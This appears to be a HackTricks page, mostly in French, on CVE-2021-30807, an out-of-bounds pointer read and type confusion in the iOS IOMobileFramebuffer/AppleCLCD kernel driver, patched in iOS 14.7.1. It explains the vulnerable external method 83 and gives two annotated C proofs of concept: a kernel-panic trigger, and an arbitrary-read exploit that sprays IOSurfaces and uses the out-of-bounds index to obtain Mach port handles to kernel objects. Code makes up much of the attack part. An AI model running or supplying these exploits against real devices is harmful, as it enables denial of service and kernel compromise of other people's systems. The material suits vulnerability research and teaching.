hacktricks/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md

14 KiB

CVE-2021-30807: IOMobileFrameBuffer OOB

{{#include ../../banners/hacktricks-training.md}}

La faille

Vous avez une excellente explication de la vuln ici, mais pour résumer :

  • Le chemin de code vulnérable est external method #83 du client utilisateur IOMobileFramebuffer / AppleCLCD : IOMobileFramebufferUserClient::s_displayed_fb_surface(...). Cette méthode reçoit un paramètre contrôlé par l'utilisateur qui n'est vérifié d'aucune manière et qui est transmis à la fonction suivante sous le nom scalar0.

  • Cette méthode appelle IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0), où scalar0 (une valeur 32-bit contrôlée par l'utilisateur) est utilisée comme index dans un tableau interne de pointeurs sans aucune vérification de bornes :

ptr = *(this + 0xA58 + scalar0 * 8); → passé à IOSurfaceRoot::copyPortNameForSurfaceInTask(...) comme un IOSurface*.
Résultat : OOB pointer read & type confusion sur ce tableau. Si le pointeur n'est pas valide, le déréférencement du kernel panique → DoS.

Note

Ceci a été corrigé dans iOS/iPadOS 14.7.1, macOS Big Sur 11.5.1, watchOS 7.6.1

Warning

La fonction initiale pour appeler IOMobileFramebufferUserClient::s_displayed_fb_surface(...) est protégée par l'entitlement com.apple.private.allow-explicit-graphics-priority. Cependant, WebKit.WebContent possède cet entitlement, donc il peut être utilisé pour déclencher la vuln depuis un processus sandboxé.

PoC DoS

Le PoC DoS suivant est le PoC initial du billet de blog original avec des commentaires supplémentaires :

// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}

Arbitrary Read PoC expliqué

  1. Ouverture du bon user client
  • get_appleclcd_uc() trouve le service AppleCLCD et ouvre le user client type 2. AppleCLCD et IOMobileFramebuffer partagent la même table external-methods ; le type 2 expose selector 83, la méthode vulnérable. C'est votre point d'entrée vers le bug. E_POC/)

Pourquoi 83 est important : le chemin décompilé est :

  • IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
    IOMobileFramebufferUserClient::get_displayed_surface(...)
    IOMobileFramebufferLegacy::get_displayed_surface(...)
    À l'intérieur de cet appel final, le code utilise votre scalaire 32 bits comme index de tableau sans vérification de bornes, récupère un pointeur depuis this + 0xA58 + index*8, et le passe en tant que IOSurface* à IOSurfaceRoot::copyPortNameForSurfaceInTask(...). C'est le OOB + la confusion de type.
  1. The heap spray (pourquoi IOSurface apparaît ici)
  • do_spray() utilise IOSurfaceRootUserClient pour créer de nombreux IOSurfaces et spray small values (style s_set_value). Cela remplit les kernel heaps voisins avec des pointeurs vers des objets IOSurface valides.

  • Objectif : lorsque selector 83 lit au-delà de la table légitime, la slot OOB contient probablement un pointeur vers l'un de vos IOSurfaces (réels) — donc la déréférence qui suit ne plante pas et réussit. IOSurface est un primitive classique de kernel spray bien documentée, et le post de Saar liste explicitement les méthodes create / set_value / lookup utilisées pour ce flux d'exploitation.

  1. L'astuce "offset/8" (ce que cet index est vraiment)
  • Dans trigger_oob(offset), vous définissez scalars[0] = offset / 8.

  • Pourquoi diviser par 8 ? Le kernel fait base + index*8 pour calculer quelle case de la taille d'un pointeur lire. Vous choisissez "numéro de case N", pas un offset en octets. Huit octets par case sur du 64-bit.

  • Cette adresse calculée est this + 0xA58 + index*8. Le PoC utilise une grosse constante (0x1200000 + 0x1048) simplement pour s'avancer très hors des limites vers une région que vous avez essayé de peupler densément avec des pointeurs IOSurface. Si le spray "gagne", la case visée est un IOSurface* valide.

  1. Ce que renvoie selector 83 (c'est la partie subtile)
  • L'appel est :

IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

  • En interne, après la récupération du pointeur OOB, le pilote appelle
    IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*).

  • Résultat : output_scalars[0] est un Mach port name (handle u32) dans votre task pour n'importe quel pointeur d'objet que vous avez fourni via l'OOB. Ce n'est pas une fuite d'adresse kernel brute ; c'est un handle en espace utilisateur (send right). Ce comportement exact (copie d'un port name) est montré dans la décompilation de Saar.

Pourquoi c'est utile : avec un port name vers le (soi-disant) IOSurface, vous pouvez maintenant utiliser des méthodes IOSurfaceRoot comme :

  • s_lookup_surface_from_port (method 34) → transformer le port en un surface ID sur lequel vous pouvez opérer via d'autres appels IOSurface, et

  • s_create_port_from_surface (method 35) si vous avez besoin de l'inverse.
    Saar mentionne explicitement ces méthodes comme étape suivante. Le PoC démontre que vous pouvez « fabriquer » un handle IOSurface légitime à partir d'une case OOB. Saaramar

Ce PoC provient de ici et des commentaires ont été ajoutés pour expliquer les étapes :

#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}

Références

{{#include ../../banners/hacktricks-training.md}}